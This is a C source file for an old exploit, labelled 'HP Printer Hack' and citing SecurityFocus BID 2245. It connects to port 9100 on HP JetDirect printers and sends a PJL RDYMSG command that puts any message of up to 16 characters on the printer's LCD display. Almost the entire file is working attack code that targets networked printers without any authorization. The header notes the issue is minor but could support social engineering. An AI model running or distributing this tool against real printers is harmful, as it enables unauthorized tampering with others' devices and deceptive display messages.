/* source: http://www.securityfocus.com/bid/2245/info Certain versions of HP JetDirect enabled printers provide a function (PJL command) that changes the LCD display on a printer over TCP/IP. Arbitrary strings can be sent to the LCD display by a remote user using this command. This represents more of a nuisance than a threat, although it is conceivable that the ability to modify the display could be used in some sort of "social engineering" scheme. */ /* HP Printer Hack 12/8/97 [email protected] */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <stdio.h> #define PORT 9100 int main (int argc, char *argv[]) { int sockfd,len,bytes_sent; /* Sock FD */ struct hostent *host; /* info from gethostbyname */ struct sockaddr_in dest_addr; /* Host Address */ char line[100]; if (argc !=3) { printf("HP Display Hack\[email protected] 12/8/97\n\n%s printer \"message\"\n",argv[0]); printf("\tMessage can be up to 16 characters long\n"); exit(1); } if ( (host=gethostbyname(argv[1])) == NULL) { perror("gethostbyname"); exit(1); } printf ("HP Display hack -- [email protected]\n"); printf ("Hostname: %s\n", argv[1]); printf ("Message: %s\n",argv[2]); /* Prepare dest_addr */ dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */ dest_addr.sin_port= htons(PORT) ; /* PORT defined above */ /* Prepare dest_addr */ bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length); bzero(&(dest_addr.sin_zero), 8); /* Take care of sin_zero ??? */ /* Get socket */ /* printf ("Grabbing socket....\n"); */ if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { perror("socket"); exit(1); } /* Connect !*/ printf ("Connecting....\n"); if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){ perror("connect"); exit(1);} /* Preparing JPL Command */ strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \""); strncat(line,argv[2],16); strcat(line,"\"\r\n\033%-12345X\r\n"); /* Sending data! */ /* printf ("Sending Data...%d\n",strlen(line));*/ /* printf ("Line: %s\n",line); */ bytes_sent=send(sockfd,line,strlen(line),0); printf("Sent %d bytes\n",bytes_sent); close(sockfd); }
